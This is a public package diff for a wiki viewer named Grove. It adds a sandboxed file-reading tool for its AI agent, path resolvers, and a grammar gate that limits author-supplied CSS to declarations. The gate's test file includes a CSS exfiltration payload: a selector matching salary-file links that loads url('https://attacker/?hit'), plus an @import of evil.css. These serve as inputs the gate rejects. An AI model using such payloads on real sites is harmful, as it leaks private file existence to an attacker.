@immediately-run/grove 0.1.1 → 0.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (85) hide show
  1. package/README.md +43 -115
  2. package/llms.txt +6 -2
  3. package/package.json +20 -8
  4. package/src/App.tsx +11 -7
  5. package/src/GroveApp.css +485 -85
  6. package/src/GroveWiki.tsx +176 -54
  7. package/src/components/AssetImage.tsx +1 -12
  8. package/src/components/Backlinks.tsx +2 -2
  9. package/src/components/Catalogue.test.tsx +157 -0
  10. package/src/components/ContentTheme.test.tsx +146 -0
  11. package/src/components/ContentTheme.tsx +111 -0
  12. package/src/components/DocList.infinite.test.tsx +177 -0
  13. package/src/components/DocList.tsx +82 -9
  14. package/src/components/Drawer.tsx +14 -2
  15. package/src/components/EntryHeader.tsx +24 -15
  16. package/src/components/EntryImage.test.tsx +210 -0
  17. package/src/components/EntryImage.tsx +47 -0
  18. package/src/components/Galleries.test.tsx +98 -0
  19. package/src/components/GroveAgent.test.tsx +330 -0
  20. package/src/components/GroveAgent.tsx +269 -149
  21. package/src/components/GroveNav.test.tsx +229 -0
  22. package/src/components/GroveNav.tsx +69 -20
  23. package/src/components/Icon.tsx +0 -1
  24. package/src/components/InlineProse.tsx +37 -0
  25. package/src/components/LayoutGallery.tsx +65 -0
  26. package/src/components/PageView.tsx +19 -4
  27. package/src/components/Search.test.tsx +113 -0
  28. package/src/components/Search.tsx +53 -18
  29. package/src/components/Sidebar.test.tsx +135 -0
  30. package/src/components/Sidebar.tsx +114 -12
  31. package/src/components/TableOfContents.test.tsx +27 -16
  32. package/src/components/ThemeAssets.test.tsx +109 -0
  33. package/src/components/ThemeAssets.tsx +63 -0
  34. package/src/components/ThemeGallery.tsx +31 -0
  35. package/src/components/Timeline.tsx +5 -2
  36. package/src/components/WikiLink.tsx +2 -2
  37. package/src/data/catalogue.ts +54 -0
  38. package/src/data/themeFonts.ts +58 -0
  39. package/src/data/themes.ts +44 -4
  40. package/src/devfs.d.ts +5 -4
  41. package/src/hooks/{useCorpusMetadata.ts → useBundleMetadata.ts} +6 -6
  42. package/src/hooks/useContentComponents.ts +1 -1
  43. package/src/hooks/useEditAffordance.ts +99 -0
  44. package/src/hooks/useOpenWikiBoot.ts +1 -1
  45. package/src/hooks/useOverlayFocusDismiss.test.tsx +139 -0
  46. package/src/hooks/useOverlayFocusDismiss.ts +118 -0
  47. package/src/hooks/useScrollReset.test.tsx +132 -0
  48. package/src/hooks/useScrollReset.ts +52 -0
  49. package/src/index.css +9 -2
  50. package/src/lib/agentPrompt.test.ts +96 -0
  51. package/src/lib/agentPrompt.ts +86 -0
  52. package/src/lib/agentTools.test.ts +115 -0
  53. package/src/lib/agentTools.ts +132 -0
  54. package/src/lib/agentTranscript.ts +50 -0
  55. package/src/lib/assetPath.test.ts +36 -0
  56. package/src/lib/assetPath.ts +42 -0
  57. package/src/lib/collectionCalls.test.ts +69 -0
  58. package/src/lib/content.test.ts +10 -2
  59. package/src/lib/content.ts +7 -0
  60. package/src/lib/contentRoot.ts +16 -1
  61. package/src/lib/contentStylesheet.test.ts +80 -0
  62. package/src/lib/contentStylesheet.ts +103 -0
  63. package/src/lib/corpusScan.test.ts +37 -3
  64. package/src/lib/corpusScan.ts +17 -2
  65. package/src/lib/editTarget.test.ts +108 -0
  66. package/src/lib/editTarget.ts +93 -0
  67. package/src/lib/inlineProse.parity.test.ts +52 -0
  68. package/src/lib/layout.ts +29 -0
  69. package/src/lib/openWiki.test.ts +46 -5
  70. package/src/lib/openWiki.ts +18 -3
  71. package/src/lib/pageVariants.test.tsx +87 -0
  72. package/src/lib/queries.test.ts +33 -1
  73. package/src/lib/queries.ts +33 -1
  74. package/src/lib/reachCard.test.ts +94 -0
  75. package/src/lib/reachCard.ts +112 -0
  76. package/src/lib/shell.ts +17 -0
  77. package/src/lib/starterSweep.test.tsx +160 -0
  78. package/src/lib/starterSweep.ts +97 -0
  79. package/src/lib/themeAssets.test.ts +135 -0
  80. package/src/lib/themeAssets.ts +143 -0
  81. package/src/lib/themeSelection.test.ts +52 -0
  82. package/src/lib/themeSelection.ts +59 -0
  83. package/src/mdxComponents.ts +4 -0
  84. package/viewer-manifest.schema.json +37 -0
  85. package/viewer.manifest.json +133 -6
@@ -0,0 +1,132 @@
1
+ // Grove's agent tools (GROVE_AGENT_SPEC R-GA-2): the SDK grant-filtered catalog is
2
+ // the authority surface, and the two corpus tools here are mount-chrooted reads the
3
+ // catalog model cannot name — `read_entry` (bodies) and the SDK's `metadata:query`
4
+ // (the index). One corpus, two tools: the metadata tool's rows are confined to
5
+ // `read_entry`'s chroot, and no row whose body the read tool cannot legally open is
6
+ // ever returned.
7
+ //
8
+ // Everything the tools return is corpus-derived bytes entering the loop — fenced
9
+ // (R-GA-7) before the model sees it.
10
+
11
+ import fs from 'fs';
12
+ import {
13
+ createMetadataQueryTool,
14
+ fenceUntrusted,
15
+ type AgentTool,
16
+ type FilesMetadata,
17
+ } from '@immediately-run/sdk';
18
+ import { isContentEntry } from './content';
19
+
20
+ /** Strip a leading YAML frontmatter block (and optional BOM) — frontmatter is the
21
+ * index's job; `read_entry` returns the body. Mirrors SafeEntryBody's stripper. */
22
+ function stripFrontmatter(src: string): string {
23
+ return src.replace(/^\uFEFF?---\r?\n[\s\S]*?\r?\n---[ \t]*\r?\n?/, '');
24
+ }
25
+
26
+ /** A read bound: generous for a wiki entry, small enough that a stuffed body cannot
27
+ * swamp the prompt on a provider with a modest window. */
28
+ const MAX_ENTRY_BYTES = 120 * 1024;
29
+
30
+ /** The slice of fs the read tool needs — injected so tests spy on it (G-GA-4). */
31
+ export type EntryReader = (absPath: string) => Promise<string>;
32
+
33
+ export const READ_ENTRY_TOOL_NAME = 'read_entry';
34
+
35
+ /**
36
+ * The corpus body read, chrooted to the content root (`getContentRoot()` at factory
37
+ * time). Input is a path RELATIVE to that root; traversal and absolute escapes are
38
+ * rejected — outside paths are unnameable, the same answer a genuine miss gets.
39
+ */
40
+ export function createReadEntryTool(chroot: string, read: EntryReader = (p) => fs.promises.readFile(p, 'utf8') as Promise<string>): {
41
+ name: string;
42
+ description: string;
43
+ inputSchema: Record<string, unknown>;
44
+ execute: (raw: unknown) => Promise<{ content: string; isError?: boolean }>;
45
+ } {
46
+ const root = chroot.endsWith('/') ? chroot : `${chroot}/`;
47
+ return {
48
+ name: READ_ENTRY_TOOL_NAME,
49
+ description:
50
+ `Read one wiki entry's body (Markdown/MDX, frontmatter stripped), by path relative to the corpus root ` +
51
+ `(e.g. "wiki/security.mdx"). Paths outside the corpus are not readable.`,
52
+ inputSchema: {
53
+ type: 'object',
54
+ additionalProperties: false,
55
+ required: ['path'],
56
+ properties: { path: { type: 'string', description: 'Entry path relative to the corpus root.' } },
57
+ },
58
+ async execute(raw: unknown) {
59
+ if (typeof raw !== 'object' || raw === null || Array.isArray(raw)) {
60
+ return { content: 'invalid-params: input must be an object', isError: true };
61
+ }
62
+ const rel = (raw as { path?: unknown }).path;
63
+ if (
64
+ typeof rel !== 'string' ||
65
+ !rel ||
66
+ rel.length > 512 ||
67
+ rel.includes('\u0000') ||
68
+ rel.startsWith('/') // an absolute path is an escape attempt, not a corpus key
69
+ ) {
70
+ return { content: 'invalid-params: path must be a non-empty corpus-relative string', isError: true };
71
+ }
72
+ // The chroot is the corpus: resolve relative, normalize, and re-verify the
73
+ // prefix — belt-and-braces with the host's own scoping (ways_of_working §2).
74
+ let abs: string;
75
+ try {
76
+ abs = new URL(`file://${root}${rel.replace(/^\//, '')}`).pathname;
77
+ } catch {
78
+ return { content: 'invalid-params: unresolvable path', isError: true };
79
+ }
80
+ if (!abs.startsWith(root)) {
81
+ return { content: 'invalid-params: path escapes the corpus root', isError: true };
82
+ }
83
+ try {
84
+ const rawBody = await read(abs);
85
+ const body = stripFrontmatter(rawBody).slice(0, MAX_ENTRY_BYTES);
86
+ if (!body.trim()) return { content: fenceUntrusted(`tool-result: ${rel}`, '(empty entry)'), isError: true };
87
+ return { content: fenceUntrusted(`tool-result: ${rel}`, body) };
88
+ } catch (e) {
89
+ const code = (e as { code?: string })?.code;
90
+ const msg = (e as Error).message ?? String(e);
91
+ // ENOENT and a chroot rejection read the same to the model — no existence
92
+ // oracle for what lies outside the grant (threat_model P7).
93
+ return { content: code ? `${code}: ${rel}` : `read failed: ${msg}`, isError: true };
94
+ }
95
+ },
96
+ };
97
+ }
98
+
99
+ /** Grove's row policy for the metadata tool: `_`-prefixed files are structure, not
100
+ * reader-facing entries (the `isContentEntry` cut the rest of the viewer uses). */
101
+ const rowPolicy = (absPath: string): boolean => isContentEntry(absPath);
102
+
103
+ /** The metadata query tool over the in-scope index, confined to the corpus chroot. */
104
+ export function createGroveMetadataTool(chroot: string, getIndex: () => FilesMetadata) {
105
+ return createMetadataQueryTool({ chroot, getIndex, filter: rowPolicy });
106
+ }
107
+
108
+ /** Both tools in the loop's `AgentTool` shape. */
109
+ export function groveAgentTools(chroot: string, getIndex: () => FilesMetadata, read?: EntryReader): AgentTool[] {
110
+ const entry = createReadEntryTool(chroot, read);
111
+ const meta = createGroveMetadataTool(chroot, getIndex);
112
+ return [
113
+ { name: entry.name, description: entry.description, input_schema: entry.inputSchema },
114
+ { name: meta.name, description: meta.description, input_schema: meta.inputSchema },
115
+ ];
116
+ }
117
+
118
+ /** Execute by name across the tool set — the loop's `ToolExecutor`. */
119
+ export function toolExecutor(
120
+ tools: Array<{ name: string; execute: (raw: unknown) => Promise<{ content: string; isError?: boolean }> | { content: string; isError?: boolean } }>,
121
+ ): (name: string, input: Record<string, unknown>) => Promise<{ content: string; isError?: boolean }> {
122
+ const byName = new Map(tools.map((t) => [t.name, t]));
123
+ return async (name, input) => {
124
+ const t = byName.get(name);
125
+ if (!t) {
126
+ // An off-list call is the model hallucinating a tool — answer as the host
127
+ // would (R-GA-2: an off-catalog call is forbidden and stays that way).
128
+ return { content: `forbidden: no such tool (${name})`, isError: true };
129
+ }
130
+ return t.execute(input);
131
+ };
132
+ }
@@ -0,0 +1,50 @@
1
+ // Transcript mapping (GROVE_AGENT_SPEC S2): the loop's AgentMessage[] → the rows
2
+ // the panel renders. Tool traffic becomes compact activity rows ("read
3
+ // wiki/security.mdx", "queried the index") — the model's own text streams as
4
+ // assistant rows, and nothing from a tool result is rendered unfenced into the
5
+ // transcript surface.
6
+
7
+ import type { AgentMessage } from '@immediately-run/sdk';
8
+ import { READ_ENTRY_TOOL_NAME } from './agentTools';
9
+ import { METADATA_QUERY_TOOL_NAME } from '@immediately-run/sdk';
10
+
11
+ export type AgentRow =
12
+ | { kind: 'user'; text: string }
13
+ | { kind: 'assistant'; text: string }
14
+ | { kind: 'activity'; text: string };
15
+
16
+ /** One tool call, as a line the reader can scan. */
17
+ export function toolActivityLine(name: string, input: Record<string, unknown>): string {
18
+ if (name === READ_ENTRY_TOOL_NAME) return `read ${String(input.path ?? '?')}`;
19
+ if (name === METADATA_QUERY_TOOL_NAME) {
20
+ const w = input.where;
21
+ if (Array.isArray(w) && w.length) {
22
+ const first = w[0] as { key?: unknown; value?: unknown };
23
+ return `queried the index — ${String(first.key ?? '')} ${String(first.value ?? '')}`.trim();
24
+ }
25
+ return 'queried the index';
26
+ }
27
+ return name;
28
+ }
29
+
30
+ export function transcriptToRows(messages: AgentMessage[]): AgentRow[] {
31
+ const rows: AgentRow[] = [];
32
+ for (const m of messages) {
33
+ if (m.role === 'user') {
34
+ const toolResults = m.content.filter((b) => b.type === 'tool_result');
35
+ if (toolResults.length) continue; // activity, rendered at its tool_use site
36
+ const text = m.content
37
+ .filter((b): b is { type: 'text'; text: string } => b.type === 'text')
38
+ .map((b) => b.text)
39
+ .join('');
40
+ if (text.trim()) rows.push({ kind: 'user', text: text.trim() });
41
+ } else {
42
+ const blocks = m.content;
43
+ for (const b of blocks) {
44
+ if (b.type === 'text' && b.text.trim()) rows.push({ kind: 'assistant', text: b.text.trim() });
45
+ else if (b.type === 'tool_use') rows.push({ kind: 'activity', text: toolActivityLine(b.name, b.input) });
46
+ }
47
+ }
48
+ }
49
+ return rows;
50
+ }
@@ -0,0 +1,36 @@
1
+ // The pure resolver (R3-313): entry-relative resolution against the OWNING entry,
2
+ // the absolute-`/` escape, traversal, and the degrade-to-empty contract.
3
+ import { describe, it, expect } from 'vitest';
4
+ import { resolvePath, entryAssetRelPath } from './assetPath';
5
+
6
+ describe('resolvePath', () => {
7
+ it('resolves relative to the base file directory', () => {
8
+ expect(resolvePath('/app/content/wiki/a.mdx', 'pic.png')).toBe('/app/content/wiki/pic.png');
9
+ expect(resolvePath('/app/content/wiki/a.mdx', './pic.png')).toBe('/app/content/wiki/pic.png');
10
+ expect(resolvePath('/app/content/wiki/a.mdx', '../img/pic.png')).toBe('/app/content/img/pic.png');
11
+ expect(resolvePath('/app/content/wiki/deep/a.mdx', '../../pic.png')).toBe('/app/content/pic.png');
12
+ });
13
+
14
+ it('an absolute reference roots at the filesystem (the body-image escape rule)', () => {
15
+ expect(resolvePath('/app/content/wiki/a.mdx', '/app/assets/x.svg')).toBe('/app/assets/x.svg');
16
+ });
17
+ });
18
+
19
+ describe('entryAssetRelPath — the MountImage feed', () => {
20
+ it('strips the root for the root-anchored mount', () => {
21
+ expect(entryAssetRelPath('/app/content/wiki/a.mdx', 'pic.png')).toBe('app/content/wiki/pic.png');
22
+ });
23
+
24
+ it('empty/absent/malformed src degrades to "" (caller renders the lattice)', () => {
25
+ expect(entryAssetRelPath('/app/content/a.mdx', undefined)).toBe('');
26
+ expect(entryAssetRelPath('/app/content/a.mdx', null)).toBe('');
27
+ expect(entryAssetRelPath('/app/content/a.mdx', '')).toBe('');
28
+ expect(entryAssetRelPath('/app/content/a.mdx', ' ')).toBe('');
29
+ });
30
+
31
+ it('UNDER DISPATCH the resolved path carries the chroot prefix only as the READ key — the component publishes MountImage object URLs, never this string', () => {
32
+ // The mount key space is the metadata key space; resolution is prefix-faithful…
33
+ expect(entryAssetRelPath('/mnt/abc123def456/wiki/a.mdx', 'pic.png')).toBe('mnt/abc123def456/wiki/pic.png');
34
+ // …which is exactly why the COMPONENT test asserts this string never reaches the DOM.
35
+ });
36
+ });
@@ -0,0 +1,42 @@
1
+ // Entry-relative asset resolution (R3-313) — the ONE place that turns "an entry's
2
+ // `cover:`/`img src`" into the fs path the SDK's `MountImage` reads.
3
+ //
4
+ // The distinction this module exists for: a body image resolves against the entry
5
+ // CURRENTLY BEING RENDERED (`navigationState.sandboxPath` — `AssetImage`), while a
6
+ // cover resolves against its OWNING entry — the entry the card/row/tile is ABOUT,
7
+ // which under dispatch is usually a DIFFERENT base. Getting this wrong is not a bug
8
+ // in `AssetImage`; it is the second half of design-pass gap 7: a `<DocList>` card or
9
+ // `<Timeline>` row showing another entry's picture resolved against the wrong base
10
+ // by construction.
11
+ //
12
+ // Pure path arithmetic — no fs, no React — so the dispatch guarantee (the chroot
13
+ // prefix is host knowledge the viewer reads THROUGH but never publishes) is testable
14
+ // here in isolation.
15
+
16
+ /** Resolve `relativePath` against the directory of `basePath` (both fs paths). */
17
+ export function resolvePath(basePath: string, relativePath: string): string {
18
+ if (relativePath.startsWith('/')) return relativePath;
19
+ const parts = basePath.split('/');
20
+ parts.pop(); // the base is the entry's FILE path; assets resolve against its dir
21
+ for (const part of relativePath.split('/')) {
22
+ if (part === '.' || part === '') continue;
23
+ if (part === '..') parts.pop();
24
+ else parts.push(part);
25
+ }
26
+ return parts.join('/');
27
+ }
28
+
29
+ /**
30
+ * The mount-relative path `MountImage` should read an entry-declared asset at.
31
+ *
32
+ * @param entryPath the OWNING entry's absolute fs path (the metadata key space —
33
+ * `/app/content/…` fork, `/mnt/<hash>/…` dispatch)
34
+ * @param src the declared asset reference (entry-relative, or absolute `/…` which
35
+ * roots at the filesystem — the same escape rule body images follow)
36
+ * @returns the path with the leading slash stripped (root-mount-relative), or `''`
37
+ * when there is nothing to resolve (caller degrades)
38
+ */
39
+ export function entryAssetRelPath(entryPath: string, src: string | undefined | null): string {
40
+ if (typeof src !== 'string' || !src.trim()) return '';
41
+ return resolvePath(entryPath, src.trim()).replace(/^\/+/, '');
42
+ }
@@ -0,0 +1,69 @@
1
+ // The bucket-C gate (R3-309): every documented collection call uses LITERAL
2
+ // attributes only. The interpreter copies `paginate="infinite"` verbatim but
3
+ // drops `paginate={mode}` SILENTLY — the list renders whole with nothing saying
4
+ // why, which is the one failure a corpus author cannot diagnose from inside.
5
+ //
6
+ // The scanner is pure over strings (fault-injectable); the test drives it over
7
+ // every .mdx in content/ — the starters and the sample corpus alike — because a
8
+ // shipped example with an expression prop is a lesson in the failure.
9
+ import { describe, it, expect } from 'vitest';
10
+ import { readFileSync, readdirSync } from 'node:fs';
11
+ import { join } from 'node:path';
12
+
13
+ /** The components whose calls select collection shapes (the manifest's
14
+ * `collections` section rides on these). */
15
+ export const COLLECTION_COMPONENTS = ['DocList', 'Timeline', 'ChildPages', 'DocsByTag'] as const;
16
+
17
+ /** Every attribute written as an expression (`attr={…}`) on a collection call.
18
+ * MDX attribute syntax only; braces inside fenced code are never calls. */
19
+ export function expressionPropsOf(source: string): string[] {
20
+ const out: string[] = [];
21
+ const tagRe = new RegExp(`<(${COLLECTION_COMPONENTS.join('|')})[\\s>]`, 'g');
22
+ for (const m of source.matchAll(tagRe)) {
23
+ // The tag's span: from the match to the closing `/>` or the matching `>`.
24
+ const start = m.index!;
25
+ const end = source.indexOf('/>', start);
26
+ const end2 = source.indexOf('>', start);
27
+ const stop = end === -1 ? end2 : Math.min(end, end2);
28
+ if (stop === -1) continue;
29
+ const tagText = source.slice(start, stop);
30
+ for (const a of tagText.matchAll(/(\w+)\s*=\s*\{/g)) out.push(`${m[1]}.${a[1]}`);
31
+ }
32
+ return out;
33
+ }
34
+
35
+ function allMdx(dir = ''): string[] {
36
+ const out: string[] = [];
37
+ for (const e of readdirSync(join(process.cwd(), 'content', dir), { withFileTypes: true })) {
38
+ const rel = dir ? `${dir}/${e.name}` : e.name;
39
+ if (e.isDirectory()) out.push(...allMdx(rel));
40
+ else if (e.name.endsWith('.mdx')) out.push(rel);
41
+ }
42
+ return out.sort();
43
+ }
44
+
45
+ describe('collection calls keep their attributes literal (R3-309 bucket C)', () => {
46
+ it('the scanner finds the corpus (checked > 0), starters included', () => {
47
+ const files = allMdx();
48
+ expect(files.length).toBeGreaterThan(10);
49
+ expect(files.some((f) => f.startsWith('_layouts/'))).toBe(true);
50
+ });
51
+
52
+ it('no expression prop on any collection call in content/', () => {
53
+ const offenders: string[] = [];
54
+ for (const f of allMdx()) {
55
+ const bad = expressionPropsOf(readFileSync(join(process.cwd(), 'content', f), 'utf8'));
56
+ for (const b of bad) offenders.push(`${f}: ${b}`);
57
+ }
58
+ expect(offenders).toEqual([]);
59
+ });
60
+
61
+ it('fault injection: a planted expression prop IS caught', () => {
62
+ // `paginate="infinite"` is copied verbatim; `paginate={mode}` is dropped
63
+ // silently. The gate exists for exactly this shape.
64
+ expect(expressionPropsOf('<DocList shape="grid" paginate={mode} />')).toEqual(['DocList.paginate']);
65
+ expect(expressionPropsOf('<Timeline limit={n}>x</Timeline>')).toEqual(['Timeline.limit']);
66
+ // Literals — including string numerals — pass.
67
+ expect(expressionPropsOf('<DocList shape="grid" limit="4" sort="date" />')).toEqual([]);
68
+ });
69
+ });
@@ -231,10 +231,18 @@ describe('link-space parity (LINK_SPACE_FIXTURE, R3-277b)', () => {
231
231
  // packaging's root. The mount-absolute corpus of the fixture is '/app/content'
232
232
  // — exactly the fork's — so the corpus-space cases translate verbatim; the
233
233
  // fs-rooted/no-corpus case and the chroot collapse are resolver-level (the
234
- // checker + SDK suites own them) and are skipped by corpusRoot here.
234
+ // checker + SDK suites own them) and are skipped by their root field here.
235
+ //
236
+ // The root reads NEW-THEN-OLD (`bundleRoot`, else `corpusRoot` — R3-482), matching
237
+ // the resolver and the docs harness: matching on `corpusRoot` alone would let this
238
+ // harness go quietly vacuous as fixture cases adopt the new spelling — the filter
239
+ // would drop them and nothing would go red. An explicit `bundleRoot: null` is a
240
+ // VALUE ("no bundle root"), not "absent" — it must not fall back.
235
241
  const FORK_ROOT = '/app/content';
242
+ const statedRoot = (c: (typeof LINK_SPACE_FIXTURE)[number]): string | null =>
243
+ c.bundleRoot !== undefined ? c.bundleRoot : (c.corpusRoot ?? null);
236
244
  const contentCases = LINK_SPACE_FIXTURE.filter(
237
- (c) => c.corpusRoot === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
245
+ (c) => statedRoot(c) === FORK_ROOT && !c.bundleChrooted && c.currentFile !== undefined,
238
246
  );
239
247
 
240
248
  it('the fixture still reaches this harness (non-vacuous)', () => {
@@ -55,6 +55,13 @@ export function isContentEntry(key: string): boolean {
55
55
  // counts as an entry in one and not the other is a page that exists but cannot be
56
56
  // found — or an index row pointing at a layout wrapper.
57
57
  if (!key.startsWith(contentDir())) return false;
58
+ // R3-309 — underscore-prefixed DIRECTORIES are copy-source, not pages. The canon's
59
+ // entry rule excludes only the exact `_layout.mdx` filename; `content/_layouts/` (the
60
+ // layout starters) would otherwise be routable, searchable, indexed pages rendered
61
+ // mid-catalogue. This is GROVE's rooting-layer policy on top of the canon, not a
62
+ // second entry rule: the docs corpus has no `_`-directories, so the canon never
63
+ // needed the rule and grove's starters do.
64
+ if (/(?:^|\/)_[^/]+\//.test(key.slice(contentDir().length))) return false;
58
65
  return isContentEntryPath(key);
59
66
  }
60
67
 
@@ -24,6 +24,7 @@ export const APP_CONTENT_ROOT = '/app/content/';
24
24
 
25
25
  let root: string = APP_CONTENT_ROOT;
26
26
  let readOnly = false;
27
+ let mountId: string | null = null;
27
28
 
28
29
  /** Where this instance's corpus lives, with a trailing slash. Read at CALL time. */
29
30
  export function getContentRoot(): string {
@@ -35,10 +36,23 @@ export function getContentRoot(): string {
35
36
  * with the delegated directory, or not at all (the fork, which keeps the default).
36
37
  * Normalizes the trailing slash so every `startsWith`/`slice` in the helpers holds.
37
38
  */
38
- export function setContentRoot(dir: string, opts: { readOnly?: boolean } = {}): void {
39
+ export function setContentRoot(dir: string, opts: { readOnly?: boolean; mountId?: string | null } = {}): void {
39
40
  if (!dir) return;
40
41
  root = dir.endsWith('/') ? dir : `${dir}/`;
41
42
  readOnly = opts.readOnly ?? false;
43
+ mountId = opts.mountId ?? null;
44
+ }
45
+
46
+ /**
47
+ * The mount id of the corpus, or null for a fork (whose corpus is its own repo, not a
48
+ * mount). R3-266: this is what an onward delegation NAMES — `capFile({ mountId, relPath })`
49
+ * — when Grove hands a content file to the platform editor. It lives here with the root
50
+ * for the same reason the read-only flag does: it is the same fact, decided once by the
51
+ * same delegation, and every consumer that asks "may I offer an edit, and of what?"
52
+ * already reads the root.
53
+ */
54
+ export function getCorpusMountId(): string | null {
55
+ return mountId;
42
56
  }
43
57
 
44
58
  /** Whether the mounted corpus was delegated read-only. Lives here rather than in React
@@ -58,4 +72,5 @@ export function isDispatched(): boolean {
58
72
  export function resetContentRoot(): void {
59
73
  root = APP_CONTENT_ROOT;
60
74
  readOnly = false;
75
+ mountId = null;
61
76
  }
@@ -0,0 +1,80 @@
1
+ // R3-316's grammar gate, adversarially: every forbidden shape is rejected AND
2
+ // NAMED; comment- and string-hidden attempts do not change the verdict; clean
3
+ // declarations pass with their quoted values intact.
4
+ import { describe, it, expect } from 'vitest';
5
+ import { gateStylesheet, blankCssNoise } from './contentStylesheet';
6
+
7
+ describe('clean sheets pass', () => {
8
+ it('declarations-only CSS is admitted, quoted values intact', () => {
9
+ const v = gateStylesheet('--bg: #101010;\n--font-body: "Lora", serif;\n');
10
+ expect(v.ok).toBe(true);
11
+ if (v.ok) expect(v.declarations).toContain('"Lora", serif');
12
+ });
13
+
14
+ it('comments are allowed (and carry no verdict)', () => {
15
+ const v = gateStylesheet('/* a note */\n--bg: #101010;\n');
16
+ expect(v.ok).toBe(true);
17
+ });
18
+ });
19
+
20
+ describe('the forbidden shapes are rejected and NAMED', () => {
21
+ const cases: Array<[string, string, RegExp]> = [
22
+ ['a selector', '.sidebar { display: none; }', /selector/],
23
+ ['url(', '--wash: url(paper.jpg);', /url\(/],
24
+ ['@import', '@import url(evil.css);', /@import/],
25
+ ['@font-face', '@font-face { src: url(a.woff2); }', /@font-face/],
26
+ ['@layer', '@layer grove.content { }', /layer/],
27
+ ['a bare property (not a custom prop)', 'color: red;', /custom-property/],
28
+ ['a media at-rule', '@media (min-width: 600px) { }', /at-rules/],
29
+ ];
30
+ for (const [name, css, reasonRe] of cases) {
31
+ it(`${name} → rejected, line named, excerpt quoted`, () => {
32
+ const v = gateStylesheet(`--ok: 1;\n${css}\n--ok2: 2;\n`);
33
+ expect(v.ok).toBe(false);
34
+ if (!v.ok) {
35
+ expect(v.line).toBe(2);
36
+ expect(v.reason).toMatch(reasonRe);
37
+ expect(v.excerpt.length).toBeGreaterThan(0);
38
+ }
39
+ });
40
+ }
41
+ });
42
+
43
+ describe('hidden attempts do not change the verdict (the blanking rule)', () => {
44
+ it('a url( inside a COMMENT is ignored — the comment carries no semantics', () => {
45
+ expect(gateStylesheet('/* url(nothing-here) */\n--bg: #101010;\n').ok).toBe(true);
46
+ });
47
+
48
+ it('a REAL url( after a decoy comment is still caught', () => {
49
+ const v = gateStylesheet('/* url(decoy) */\n--wash: url(real-evil.jpg);\n');
50
+ expect(v.ok).toBe(false);
51
+ if (!v.ok) expect(v.line).toBe(2);
52
+ });
53
+
54
+ it('a selector-shaped STRING inside a declaration is inert data, not a rule — admitted', () => {
55
+ // String CONTENTS are blanked for the scan (so nothing inside a string can
56
+ // smuggle a verdict-changing token) and the line remains a well-formed
57
+ // declaration; a custom property never re-interprets its value as a rule.
58
+ const v = gateStylesheet(`--note: "{ display: none; }";\n`);
59
+ expect(v.ok).toBe(true);
60
+ if (v.ok) expect(v.declarations).toContain('--note:');
61
+ });
62
+
63
+ it('blankCssNoise preserves offsets (line numbers stay true)', () => {
64
+ const src = 'a { /* comment\nspanning lines */ }';
65
+ const blanked = blankCssNoise(src);
66
+ expect(blanked.indexOf('comment')).toBe(-1);
67
+ expect(blanked.length).toBe(src.length);
68
+ });
69
+ });
70
+
71
+ describe('the existence-oracle payload — the attack the grammar exists for', () => {
72
+ it('the canonical exfiltration attempt is rejected by name', () => {
73
+ const attack = `a[href^="/content/salary-"] { background-image: url("https://attacker/?hit"); }`;
74
+ const v = gateStylesheet(attack);
75
+ expect(v.ok).toBe(false);
76
+ // Either catch is a correct rejection: the url( (the exfil channel) or the
77
+ // selector (the reach). Both are named, line-accurate verdicts.
78
+ if (!v.ok) expect(v.reason).toMatch(/selector|url\(/);
79
+ });
80
+ });
@@ -0,0 +1,103 @@
1
+ // The content-stylesheet grammar gate (R3-316; plan 05-content-carried-themes).
2
+ //
3
+ // Author-supplied CSS is contained by a GRAMMAR, not by the CSP: a `ui/stylesheet`
4
+ // entry may carry declarations and NOTHING else. A selector would let it reach
5
+ // the DOM (and hide the theme control); `url(`/`@import`/`@font-face` would let
6
+ // it name a network location — the existence-oracle channel the CSP does not
7
+ // close for an INTERPRETED, SHARED space (no CSP at all there), which is the gap
8
+ // this grammar closes in every stance.
9
+ //
10
+ // Comments and strings are BLANKED (whitespace of equal length, offsets
11
+ // preserved) before the SCAN — a `url(` inside a comment must not decide the
12
+ // outcome, and a selector hidden in a string must not be smuggled through. The
13
+ // EMITTED declarations come from the original bytes (a declaration's quoted
14
+ // values are legitimate: `--font-body: "Lora", serif;`), which is safe precisely
15
+ // because the blanked scan already proved every line is a declaration.
16
+
17
+ export type GateResult =
18
+ | { ok: true; declarations: string }
19
+ | { ok: false; line: number; reason: string; excerpt: string };
20
+
21
+ /** Blank `/* … *``/` comments and quoted strings with offset-preserving whitespace. */
22
+ export function blankCssNoise(src: string): string {
23
+ const out = src.split('');
24
+ const blank = (from: number, to: number): void => {
25
+ for (let k = from; k < to && k < out.length; k++) if (out[k] !== '\n') out[k] = ' ';
26
+ };
27
+ let i = 0;
28
+ while (i < src.length) {
29
+ const two = src.slice(i, i + 2);
30
+ if (two === '/*') {
31
+ const close = src.indexOf('*/', i + 2);
32
+ const end = close === -1 ? src.length : close + 2;
33
+ blank(i, end);
34
+ i = end;
35
+ } else if (src[i] === '"' || src[i] === "'") {
36
+ const quote = src[i];
37
+ let j = i + 1;
38
+ while (j < src.length && src[j] !== quote) j += src[j] === '\\' ? 2 : 1;
39
+ blank(i + 1, Math.min(j, src.length)); // blank the CONTENTS, keep the quotes
40
+ i = Math.min(j + 1, src.length);
41
+ } else {
42
+ i += 1;
43
+ }
44
+ }
45
+ return out.join('');
46
+ }
47
+
48
+ /** The line number (1-based) an index falls on. */
49
+ function lineOf(src: string, idx: number): number {
50
+ let line = 1;
51
+ for (let i = 0; i < idx && i < src.length; i++) if (src[i] === '\n') line += 1;
52
+ return line;
53
+ }
54
+
55
+ const REJECTS: Array<{ re: RegExp; reason: string }> = [
56
+ { re: /@import/i, reason: '@import names a location — declarations only' },
57
+ { re: /@font-face/i, reason: '@font-face is engine-emitted from declared faces, never authored' },
58
+ { re: /@layer/i, reason: 'layer order is engine-owned' },
59
+ { re: /@/i, reason: 'at-rules are not declarations' },
60
+ { re: /\burl\(/i, reason: 'url( names a location — assets are declared (fonts:/assets:), never named' },
61
+ ];
62
+
63
+ /**
64
+ * Gate a stylesheet's bytes: declarations only, each line `--token: value;`.
65
+ * A rejected verdict names the line and quotes it from the original bytes.
66
+ */
67
+ export function gateStylesheet(css: string): GateResult {
68
+ const blanked = blankCssNoise(css);
69
+ // At-rules first, so `@font-face { … }` reports @font-face (the specific
70
+ // violation) rather than the generic brace catch; url( after both.
71
+ for (const { re, reason } of REJECTS) {
72
